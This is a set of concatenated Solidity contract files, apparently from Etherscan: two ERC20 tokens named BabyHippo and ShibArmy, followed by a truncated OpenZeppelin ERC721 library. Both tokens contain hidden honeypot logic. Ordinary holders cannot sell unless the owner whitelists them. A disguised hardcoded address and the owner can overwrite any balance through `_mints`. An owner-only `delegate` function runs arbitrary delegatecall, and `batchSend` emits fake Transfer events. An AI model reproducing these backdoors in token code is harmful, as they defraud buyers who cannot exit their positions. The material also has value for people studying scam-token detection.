callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract BabyHippo{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
/**
*Submitted for verification at Etherscan.io on 2021-06-09
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ShibArmy{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
// File: @openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721MetadataUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// File: @openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// File: @openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal initializer {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal initializer {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// File: @openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {
using AddressUpgradeable for address;
using StringsUpgradeable for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
